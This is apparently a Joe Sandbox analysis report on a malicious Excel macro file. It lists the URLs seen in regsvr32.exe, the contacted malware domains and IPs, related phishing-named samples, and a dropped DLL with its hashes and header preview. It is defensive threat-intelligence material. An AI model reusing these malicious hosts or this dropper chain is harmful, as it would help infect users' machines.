https://aws.amazon.com/fr/?nc1=h_ls	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://d1fgizr415o1r6.cloudfront.net	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra-search/1.0.13/js	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
https://awspodcastsiberiaent.s3.eu-west-3.amaz	regsvr32.exe, 00000003.00000002.2105442912.0000000003469000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://prod-us-west-2.csp-report.marketing.aws.dev/submit	regsvr32.exe, 00000003.00000003.2099459469.0000000003473000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://f0.awsstatic.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	false		high
https://spot-bid-advisor.s3.amazonaws.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/	regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://d3ctxlq1ktw2nl.cloudfront.net	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra-css/images/site/touch-icon-ipad-144-smile.png	regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://amazonwebservices.d2.sc.omtrdc.net	regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://aws.amazon.com/podcasts/aws-podcast/	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	false		high
https://d1yyh5dhdgifnx.cloudfront.net	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/jp/	regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://d1hemuljm71t2j.cloudfront.net	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra-css/css/1.0.382	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
https://view-stage.us-west-2.prod.pricing.aws.a2z.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://calculator.wsstatic.com	regsvr32.exe, 00000003.00000002.2105442912.0000000003469000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://s3.amazonaws.com/public-pricing-agc/	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/de/	regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
http://investor.msn.com/	regsvr32.exe, 00000003.00000002.2103529559.0000000003080000.00000002.00000001.sdmp	false		high
https://phd.aws.amazon.com/?nc2=h_m_sc	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra/1.0.385/libra-cardsui	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra-css/images/logos/aws_logo_smile_1200x630.png	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
http://www.%s.comPA	regsvr32.exe, 00000003.00000002.2103102978.0000000002C90000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2110503816.0000000002CA0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
https://portal.aws.amazon.com/gp/aws/developer/registration/index.html?nc2=h_ct&src=default	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com	regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://pages.awscloud.com/fico-case-study.html?hp=tile&story=fico	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://ssl-static.libsyn.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://website.spot.ec2.aws.a2z.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
https://112-tzm-766.mktoutil.com	regsvr32.exe, 00000003.00000003.2099459469.0000000003473000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://static.doubleclick.net	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/th/?nc1=f_ls	regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
http://investor.msn.com	regsvr32.exe, 00000003.00000002.2103529559.0000000003080000.00000002.00000001.sdmp	false		high
http://crl.roo	regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://aws.amazon.com/tr/	regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/g11n-lib/2.0.76	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
https://s0.awsstatic.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/pricing-savings-plan/js/1.0.6	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
https://www.amazon.jobs/aws	regsvr32.exe, 00000003.00000002.2102286256.000000000028E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra-css/images/site/touch-icon-iphone-114-smile.png	regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://googleads.g.doubleclick.net	regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://s3.amazonaws.com/aws-messaging-pricing-information/	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://download.stormacq.com/aws/podcast/	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://a0.awsstatic.com/target/1.0.114/aws-target-mediator.js	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
https://console.aws.amazon.com/support/home?nc2=h_ql_cu	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/M	regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra-css/images/gi-map/AWS_Global-Infrastructure-Map.svg	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://d2908q01vomqb2.cloudfront.net	regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://dgen8gghn3u86.cloudfront.net	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
https://pages.awscloud.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/vi/?nc1=f_ls	regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/aws-blog/1.0.47/js	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
https://chtbl.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.198.51	thousandsyears.download	United States	13335	CLOUDFLARENETUS	false
13.225.75.73	dr49lng3n1n2s.cloudfront.net	United States	16509	AMAZON-02US	false
104.21.55.83	uppercilio.fun	United States	13335	CLOUDFLARENETUS	false
104.21.37.209	unknown	United States	13335	CLOUDFLARENETUS	true
172.67.213.115	astrocycle.download	United States	13335	CLOUDFLARENETUS	true
172.67.194.117	voopeople.fun	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	444719
Start date:	06.07.2021
Start time:	15:51:22
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	HRcontacts7752205.xlsm
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSM@7/8@15/6
EGA Information:	Failed
HDC Information:	Successful, ratio: 74.1% (good quality ratio 56.6%) Quality average: 64.5% Quality standard deviation: 41.5%
HCA Information:	Successful, ratio: 82% Number of executed functions: 33 Number of non-executed functions: 3
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsm Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
172.67.198.51	sbf0127365-7431059.xlsm	Get hash	malicious	Browse	thousandsyears.download/div/44376,8555986111.jpg
	Outfordelivery799862.xlsm	Get hash	malicious	Browse	thousandsyears.download/div/44376,8555986111.jpg
	Purchaseconfirmation-137606.xlsm	Get hash	malicious	Browse	thousandsyears.download/div/44376,8555986111.jpg
	DeliveryConf535215.xlsm	Get hash	malicious	Browse	thousandsyears.download/div/44376,8555986111.jpg
	PI-210610.xlsm	Get hash	malicious	Browse	thousandsyears.download/div/44376,8555986111.jpg
13.225.75.73	http://cloudfront.com	Get hash	malicious	Browse	aws.amazon.com/cloudfront

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
astrocycle.download	Formtofill4184860.xlsm	Get hash	malicious	Browse	104.21.37.209
	sbf0127365-7431059.xlsm	Get hash	malicious	Browse	172.67.213.115
	Outfordelivery799862.xlsm	Get hash	malicious	Browse	104.21.37.209
	Purchaseconfirmation-137606.xlsm	Get hash	malicious	Browse	172.67.213.115
	DeliveryConf535215.xlsm	Get hash	malicious	Browse	172.67.213.115
	PI-210610.xlsm	Get hash	malicious	Browse	172.67.213.115
dr49lng3n1n2s.cloudfront.net	Formtofill4184860.xlsm	Get hash	malicious	Browse	13.225.75.73
	sbf0127365-7431059.xlsm	Get hash	malicious	Browse	13.224.92.73
	Outfordelivery799862.xlsm	Get hash	malicious	Browse	13.224.92.73
	Purchaseconfirmation-137606.xlsm	Get hash	malicious	Browse	13.224.92.73
	DeliveryConf535215.xlsm	Get hash	malicious	Browse	13.224.92.73
	PI-210610.xlsm	Get hash	malicious	Browse	143.204.4.74
	f6718e02bc73edf5aab341fa0a7f75782bc72f7dd1a6e.dll	Get hash	malicious	Browse	143.204.91.74
	8f9b032ff6f56a685f4c6f9eb57784811d6c98aa83b0c.dll	Get hash	malicious	Browse	143.204.91.74
	718421.xlsm	Get hash	malicious	Browse	143.204.91.74
	Ln11IgJVUM.dll	Get hash	malicious	Browse	13.225.75.73
	6c710694d270db91b550daf3177622514d2444e7484fb.dll	Get hash	malicious	Browse	13.225.75.73
	SOAOG31JdG.dll	Get hash	malicious	Browse	13.225.75.73
	QEiuTX6cTw.dll	Get hash	malicious	Browse	143.204.91.74
	YiIS9HvO21.dll	Get hash	malicious	Browse	13.32.16.68
	xDxD5fLpPC.dll	Get hash	malicious	Browse	52.222.157.68
	YiIS9HvO21.dll	Get hash	malicious	Browse	52.222.157.68
	AQvfg6cfsH.dll	Get hash	malicious	Browse	52.222.157.68
	1hIvIzTHG5.dll	Get hash	malicious	Browse	52.222.157.68
	0WX1X0cxwl.dll	Get hash	malicious	Browse	52.222.157.68
	34EH2vRFeU.dll	Get hash	malicious	Browse	52.222.157.68
voopeople.fun	Formtofill4184860.xlsm	Get hash	malicious	Browse	172.67.194.117
	sbf0127365-7431059.xlsm	Get hash	malicious	Browse	104.21.12.122
	Outfordelivery799862.xlsm	Get hash	malicious	Browse	172.67.194.117
	Purchaseconfirmation-137606.xlsm	Get hash	malicious	Browse	172.67.194.117
	DeliveryConf535215.xlsm	Get hash	malicious	Browse	172.67.194.117
	PI-210610.xlsm	Get hash	malicious	Browse	172.67.194.117
thousandsyears.download	Formtofill4184860.xlsm	Get hash	malicious	Browse	104.21.52.111
	sbf0127365-7431059.xlsm	Get hash	malicious	Browse	172.67.198.51
	Outfordelivery799862.xlsm	Get hash	malicious	Browse	172.67.198.51
	Purchaseconfirmation-137606.xlsm	Get hash	malicious	Browse	172.67.198.51
	DeliveryConf535215.xlsm	Get hash	malicious	Browse	172.67.198.51
	PI-210610.xlsm	Get hash	malicious	Browse	172.67.198.51
uppercilio.fun	Formtofill4184860.xlsm	Get hash	malicious	Browse	172.67.146.88
	sbf0127365-7431059.xlsm	Get hash	malicious	Browse	104.21.55.83
	Outfordelivery799862.xlsm	Get hash	malicious	Browse	104.21.55.83
	Purchaseconfirmation-137606.xlsm	Get hash	malicious	Browse	104.21.55.83
	DeliveryConf535215.xlsm	Get hash	malicious	Browse	104.21.55.83
	PI-210610.xlsm	Get hash	malicious	Browse	104.21.55.83

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	Formtofill4184860.xlsm	Get hash	malicious	Browse	172.67.194.117
	sbf0127365-7431059.xlsm	Get hash	malicious	Browse	104.21.12.122
	runsys32.dll	Get hash	malicious	Browse	104.20.185.68
	Outfordelivery799862.xlsm	Get hash	malicious	Browse	172.67.194.117
	Purchaseconfirmation-137606.xlsm	Get hash	malicious	Browse	172.67.194.117
	DeliveryConf535215.xlsm	Get hash	malicious	Browse	172.67.194.117
	SMR8OzIgNB.exe	Get hash	malicious	Browse	104.21.8.151
	Follow up Purchase order num- 4500262450.exe	Get hash	malicious	Browse	104.21.75.42
	PI-210610.xlsm	Get hash	malicious	Browse	172.67.194.117
	2790000.dll	Get hash	malicious	Browse	104.20.185.68
	2770174.dll	Get hash	malicious	Browse	104.20.185.68
	Payment Invoice.exe	Get hash	malicious	Browse	172.67.188.154
	rial exe.exe	Get hash	malicious	Browse	104.21.19.200
	Quotation.exe	Get hash	malicious	Browse	104.21.19.200
	SCTc9qaix4.exe	Get hash	malicious	Browse	1.0.0.1
	AFS Co., Ltd..exe	Get hash	malicious	Browse	104.26.6.41
	q7p7x4f4gX.dll	Get hash	malicious	Browse	104.20.184.68
	XoN2GgRiga.exe	Get hash	malicious	Browse	104.23.99.190
	zeMISetSYn.exe	Get hash	malicious	Browse	172.67.188.154
	q7p7x4f4gX.dll	Get hash	malicious	Browse	104.20.184.68
CLOUDFLARENETUS	Formtofill4184860.xlsm	Get hash	malicious	Browse	172.67.194.117
	sbf0127365-7431059.xlsm	Get hash	malicious	Browse	104.21.12.122
	runsys32.dll	Get hash	malicious	Browse	104.20.185.68
	Outfordelivery799862.xlsm	Get hash	malicious	Browse	172.67.194.117
	Purchaseconfirmation-137606.xlsm	Get hash	malicious	Browse	172.67.194.117
	DeliveryConf535215.xlsm	Get hash	malicious	Browse	172.67.194.117
	SMR8OzIgNB.exe	Get hash	malicious	Browse	104.21.8.151
	Follow up Purchase order num- 4500262450.exe	Get hash	malicious	Browse	104.21.75.42
	PI-210610.xlsm	Get hash	malicious	Browse	172.67.194.117
	2790000.dll	Get hash	malicious	Browse	104.20.185.68
	2770174.dll	Get hash	malicious	Browse	104.20.185.68
	Payment Invoice.exe	Get hash	malicious	Browse	172.67.188.154
	rial exe.exe	Get hash	malicious	Browse	104.21.19.200
	Quotation.exe	Get hash	malicious	Browse	104.21.19.200
	SCTc9qaix4.exe	Get hash	malicious	Browse	1.0.0.1
	AFS Co., Ltd..exe	Get hash	malicious	Browse	104.26.6.41
	q7p7x4f4gX.dll	Get hash	malicious	Browse	104.20.184.68
	XoN2GgRiga.exe	Get hash	malicious	Browse	104.23.99.190
	zeMISetSYn.exe	Get hash	malicious	Browse	172.67.188.154
	q7p7x4f4gX.dll	Get hash	malicious	Browse	104.20.184.68
AMAZON-02US	Formtofill4184860.xlsm	Get hash	malicious	Browse	13.225.75.73
	sbf0127365-7431059.xlsm	Get hash	malicious	Browse	13.224.92.73
	Reciept 19129475.xlsb	Get hash	malicious	Browse	54.191.98.150
	Outfordelivery799862.xlsm	Get hash	malicious	Browse	13.224.92.73
	Purchaseconfirmation-137606.xlsm	Get hash	malicious	Browse	13.224.92.73
	DeliveryConf535215.xlsm	Get hash	malicious	Browse	13.224.92.73
	PI-210610.xlsm	Get hash	malicious	Browse	143.204.4.74
	GDTGz3GXCiNgYwtXT6qX3tY8eu8Mqj.msi	Get hash	malicious	Browse	18.231.168.212
	39d0c1e7.msi	Get hash	malicious	Browse	3.143.159.48
	Movcy_v1.0.0.apk	Get hash	malicious	Browse	52.39.180.2
	order No. 00192099##001 pdf.exe	Get hash	malicious	Browse	3.143.65.214
	f6718e02bc73edf5aab341fa0a7f75782bc72f7dd1a6e.dll	Get hash	malicious	Browse	143.204.91.74
	lZYIQJNUsZ.exe	Get hash	malicious	Browse	13.249.12.162
	q62NZgHtRq.exe	Get hash	malicious	Browse	3.22.53.161
	i	Get hash	malicious	Browse	52.9.197.152
	8zsiEeSTzI.exe	Get hash	malicious	Browse	52.217.140.209
	Request For Quotation.exe	Get hash	malicious	Browse	75.2.26.18
	pip install.yp.exe	Get hash	malicious	Browse	52.18.63.80
	Payment_Breakdown_pdf.exe	Get hash	malicious	Browse	52.58.78.16
	k6sy0WOByI.exe	Get hash	malicious	Browse	52.217.101.132

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	Formtofill4184860.xlsm	Get hash	malicious	Browse	13.225.75.73
	sbf0127365-7431059.xlsm	Get hash	malicious	Browse	13.225.75.73
	Outfordelivery799862.xlsm	Get hash	malicious	Browse	13.225.75.73
	Purchaseconfirmation-137606.xlsm	Get hash	malicious	Browse	13.225.75.73
	DeliveryConf535215.xlsm	Get hash	malicious	Browse	13.225.75.73
	PI-210610.xlsm	Get hash	malicious	Browse	13.225.75.73
	108020075.exe	Get hash	malicious	Browse	13.225.75.73
	G-DECL G50 EURL.xlsx	Get hash	malicious	Browse	13.225.75.73
	1.doc	Get hash	malicious	Browse	13.225.75.73
	DECL G50 EURL!.xlsx	Get hash	malicious	Browse	13.225.75.73
	Order No. 211128.doc	Get hash	malicious	Browse	13.225.75.73
	SOA.xlsx	Get hash	malicious	Browse	13.225.75.73
	DECL G50 EURL.xlsx	Get hash	malicious	Browse	13.225.75.73
	WO 378871.xlsb	Get hash	malicious	Browse	13.225.75.73
	Order 824126.xlsb	Get hash	malicious	Browse	13.225.75.73
	WO 378871.xlsb	Get hash	malicious	Browse	13.225.75.73
	PO 31449213.xlsb	Get hash	malicious	Browse	13.225.75.73
	Order 161488.xlsb	Get hash	malicious	Browse	13.225.75.73
	Order 824126.xlsb	Get hash	malicious	Browse	13.225.75.73
	Order 5122948.xlsb	Get hash	malicious	Browse	13.225.75.73

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\lsdfik[1].fml	Formtofill4184860.xlsm	Get hash	malicious	Browse
	sbf0127365-7431059.xlsm	Get hash	malicious	Browse
	Outfordelivery799862.xlsm	Get hash	malicious	Browse
	Purchaseconfirmation-137606.xlsm	Get hash	malicious	Browse
	DeliveryConf535215.xlsm	Get hash	malicious	Browse
	PI-210610.xlsm	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\lsdfik[1].fml	Formtofill4184860.xlsm	Get hash	malicious	Browse
	sbf0127365-7431059.xlsm	Get hash	malicious	Browse
	Outfordelivery799862.xlsm	Get hash	malicious	Browse
	Purchaseconfirmation-137606.xlsm	Get hash	malicious	Browse
	DeliveryConf535215.xlsm	Get hash	malicious	Browse
	PI-210610.xlsm	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\lsdfik[1].fml	Formtofill4184860.xlsm	Get hash	malicious	Browse
	sbf0127365-7431059.xlsm	Get hash	malicious	Browse
	Outfordelivery799862.xlsm	Get hash	malicious	Browse
	Purchaseconfirmation-137606.xlsm	Get hash	malicious	Browse
	DeliveryConf535215.xlsm	Get hash	malicious	Browse
	PI-210610.xlsm	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\lsdfik[1].fml Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57856
Entropy (8bit):	4.963425128586394
Encrypted:	false
SSDEEP:	768:wIZpbT9PDZE0ix9i33yS6AII5QiyWaTeQC9m6ny96/eQponqM:wypbTax9IyeIGhaaN9Hny962TnqM
MD5:	7A1D163990ACE9CEF1D43831866109AB
SHA1:	38A40E5AF9912C2935F74F2085D810A24325DC2A
SHA-256:	2B56EFDD9D771BCE51087101AC109C30B81E29E583C0178D33B90AD0128D9BA8
SHA-512:	454FBFD2C7BC18F47B02D67CA957D01A86E09EE4F4C6CAADF2CDF981478E90467C2B3BE750C293790016EB5AED757E8553FD2CB65242FB6C0D0E3A231291F247
Malicious:	true
Joe Sandbox View:	Filename: Formtofill4184860.xlsm, Detection: malicious, Browse Filename: sbf0127365-7431059.xlsm, Detection: malicious, Browse Filename: Outfordelivery799862.xlsm, Detection: malicious, Browse Filename: Purchaseconfirmation-137606.xlsm, Detection: malicious, Browse Filename: DeliveryConf535215.xlsm, Detection: malicious, Browse Filename: PI-210610.xlsm, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........M.M.M.>...N.M.K.M.I...L...L.RichM.........PE..d......`.........." .....:.......... .....................................................`.....................................................(....................................................................................P..@............................text...(8.......:.................. ..`.rdata..~....P.......>..............@..@.data...`...........................@....pdata..............................@..@........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\lsdfik[1].fml Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57856
Entropy (8bit):	4.963425128586394
Encrypted:	false
SSDEEP:	768:wIZpbT9PDZE0ix9i33yS6AII5QiyWaTeQC9m6ny96/eQponqM:wypbTax9IyeIGhaaN9Hny962TnqM
